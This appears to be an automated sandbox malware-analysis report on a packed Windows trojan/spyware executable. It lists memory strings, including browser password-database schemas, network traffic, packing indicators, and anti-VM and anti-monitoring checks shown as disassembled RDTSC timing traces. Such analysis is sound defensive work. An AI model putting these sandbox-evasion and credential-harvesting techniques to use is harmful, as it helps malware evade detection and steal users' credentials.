Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: wIgjKoo9iI.exe, 00000000.00000003.2206029353.0000000005182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: wIgjKoo9iI.exe, 00000000.00000003.2206029353.0000000005182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: wIgjKoo9iI.exe, 00000000.00000003.2206169685.000000000528D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: wIgjKoo9iI.exe, 00000000.00000003.2206169685.000000000528D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: wIgjKoo9iI.exe, 00000000.00000003.2206169685.000000000528D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49720 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: wIgjKoo9iI.exe	Static PE information: section name:
Source: wIgjKoo9iI.exe	Static PE information: section name: .rsrc
Source: wIgjKoo9iI.exe	Static PE information: section name: .idata

Source: wIgjKoo9iI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: wIgjKoo9iI.exe

Static PE information: Section: ZLIB complexity 0.9994702308006536

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wIgjKoo9iI.exe, 00000000.00000003.2157816785.0000000005199000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157949003.000000000517C000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2182314713.000000000518B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: wIgjKoo9iI.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

File read: C:\Users\user\Desktop\wIgjKoo9iI.exe

Jump to behavior

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: wIgjKoo9iI.exe

Static file information: File size 2931200 > 1048576

Source: wIgjKoo9iI.exe

Static PE information: Raw size of ibdqnddj is bigger than: 0x100000 < 0x2a1e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

Unpacked PE file: 0.2.wIgjKoo9iI.exe.480000.0.unpack :EW;.rsrc :W;.idata :W;ibdqnddj:EW;izikvcoa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ibdqnddj:EW;izikvcoa:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: wIgjKoo9iI.exe

Static PE information: real checksum: 0x2d1643 should be: 0x2db872

Source: wIgjKoo9iI.exe	Static PE information: section name:
Source: wIgjKoo9iI.exe	Static PE information: section name: .rsrc
Source: wIgjKoo9iI.exe	Static PE information: section name: .idata
Source: wIgjKoo9iI.exe	Static PE information: section name: ibdqnddj
Source: wIgjKoo9iI.exe	Static PE information: section name: izikvcoa
Source: wIgjKoo9iI.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5CB68 push 6800A5CBh; retf	0_3_00A5CB6D
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5CB68 push 6800A5CBh; retf	0_3_00A5CB6D
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5E458 push ss; ret	0_3_00A5E503
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5E458 push ss; ret	0_3_00A5E503
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5CB68 push 6800A5CBh; retf	0_3_00A5CB6D
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5CB68 push 6800A5CBh; retf	0_3_00A5CB6D
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5E458 push ss; ret	0_3_00A5E503
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_00A5E458 push ss; ret	0_3_00A5E503
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_051751F2 push ecx; retf	0_3_05175218
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_051751F2 push ecx; retf	0_3_05175218
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_051751F2 push ecx; retf	0_3_05175218
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Code function: 0_3_051751F2 push ecx; retf	0_3_05175218

Source: wIgjKoo9iI.exe

Static PE information: section name: entropy: 7.986463733135728

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 63DF3A second address: 63DF62 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F576860B9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F576860B9CEh 0x00000010 jmp 00007F576860B9C8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 63DF62 second address: 63DF75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EEh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 63DF75 second address: 63DFB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F576860B9C1h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007F576860B9C9h 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F576860B9B6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 63DFB3 second address: 63DFB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 65164E second address: 65165D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F576860B9B6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 65165D second address: 651663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 651663 second address: 651667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 651A37 second address: 651A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 651A3B second address: 651A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F576860B9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F576860B9BDh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F576860B9C6h 0x0000001b jnc 00007F576860B9B6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 651A75 second address: 651A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 651A79 second address: 651A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 654E94 second address: 654EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F57691E35F7h 0x0000000c pop edi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 mov dword ptr [ebp+122D1E1Eh], esi 0x00000017 push 00000000h 0x00000019 mov edx, dword ptr [ebp+122D1E65h] 0x0000001f push 641769D0h 0x00000024 pushad 0x00000025 pushad 0x00000026 jp 00007F57691E35E6h 0x0000002c jmp 00007F57691E35F8h 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 654EEF second address: 654F51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 64176950h 0x0000000e jno 00007F576860B9B6h 0x00000014 push 00000003h 0x00000016 pushad 0x00000017 mov dword ptr [ebp+122D2124h], esi 0x0000001d jmp 00007F576860B9BAh 0x00000022 popad 0x00000023 sub dword ptr [ebp+122D2424h], esi 0x00000029 push 00000000h 0x0000002b stc 0x0000002c push 00000003h 0x0000002e pushad 0x0000002f jmp 00007F576860B9C2h 0x00000034 jp 00007F576860B9BCh 0x0000003a popad 0x0000003b push A5C134B2h 0x00000040 push eax 0x00000041 push edx 0x00000042 push edi 0x00000043 js 00007F576860B9B6h 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 654F51 second address: 654FB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1A3ECB4Eh 0x00000010 mov ecx, dword ptr [ebp+122D39B5h] 0x00000016 lea ebx, dword ptr [ebp+1244FCE0h] 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F57691E35E8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 clc 0x00000037 mov edx, 5D2AF2A5h 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push edi 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 654FB1 second address: 654FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6550D9 second address: 655194 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007F57691E35EFh 0x00000012 jns 00007F57691E35F2h 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push edx 0x0000001c push esi 0x0000001d jne 00007F57691E35E6h 0x00000023 pop esi 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 jl 00007F57691E35F5h 0x0000002f push edi 0x00000030 jmp 00007F57691E35EDh 0x00000035 pop edi 0x00000036 pop eax 0x00000037 or edi, dword ptr [ebp+122D3871h] 0x0000003d push 00000003h 0x0000003f and dh, 00000002h 0x00000042 push 00000000h 0x00000044 sub edi, dword ptr [ebp+122D1E48h] 0x0000004a push 00000003h 0x0000004c add edx, dword ptr [ebp+122D3B0Dh] 0x00000052 push 904EBFF8h 0x00000057 jmp 00007F57691E35EAh 0x0000005c add dword ptr [esp], 2FB14008h 0x00000063 mov di, ax 0x00000066 pushad 0x00000067 add eax, dword ptr [ebp+122D3AE9h] 0x0000006d sub eax, dword ptr [ebp+122D2696h] 0x00000073 popad 0x00000074 lea ebx, dword ptr [ebp+1244FCE9h] 0x0000007a mov dword ptr [ebp+122D1E2Bh], edx 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jnl 00007F57691E35F5h 0x00000089 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6551E0 second address: 6551F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6551F7 second address: 6551FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6551FB second address: 65521B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F576860B9C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 65521B second address: 655270 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F57691E35E8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F57691E35E8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov di, dx 0x0000002a push 00000000h 0x0000002c jbe 00007F57691E35ECh 0x00000032 or edi, 552B7384h 0x00000038 push A8D29103h 0x0000003d push eax 0x0000003e push edx 0x0000003f jg 00007F57691E35ECh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 655270 second address: 65527A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F576860B9BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 65527A second address: 6552D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 572D6F7Dh 0x0000000d mov esi, dword ptr [ebp+122D3B95h] 0x00000013 push 00000003h 0x00000015 mov esi, ebx 0x00000017 push 00000000h 0x00000019 or esi, dword ptr [ebp+122D3A21h] 0x0000001f push 00000003h 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F57691E35E8h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b jp 00007F57691E35E9h 0x00000041 movsx edi, dx 0x00000044 push AE0F818Fh 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F57691E35F0h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6552D9 second address: 6552E3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F576860B9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6552E3 second address: 655342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 11F07E71h 0x00000010 pushad 0x00000011 push ecx 0x00000012 mov dword ptr [ebp+122D1D75h], esi 0x00000018 pop edx 0x00000019 mov cl, BEh 0x0000001b popad 0x0000001c mov dword ptr [ebp+122D2ED7h], esi 0x00000022 lea ebx, dword ptr [ebp+1244FCF4h] 0x00000028 mov ecx, 6C798C34h 0x0000002d xchg eax, ebx 0x0000002e pushad 0x0000002f jmp 00007F57691E35F7h 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F57691E35EAh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 64D1EA second address: 64D216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F576860B9BBh 0x0000000d popad 0x0000000e push ebx 0x0000000f jmp 00007F576860B9C5h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 673C46 second address: 673C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57691E35EEh 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 673DB4 second address: 673DC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F576860B9B6h 0x00000009 jbe 00007F576860B9B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 673DC5 second address: 673DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 673F44 second address: 673F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674370 second address: 674374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674543 second address: 674547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674547 second address: 67456B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57691E35F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67456B second address: 67456F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67456F second address: 674578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674858 second address: 674863 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674C75 second address: 674C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jbe 00007F57691E35E6h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f rdtsc
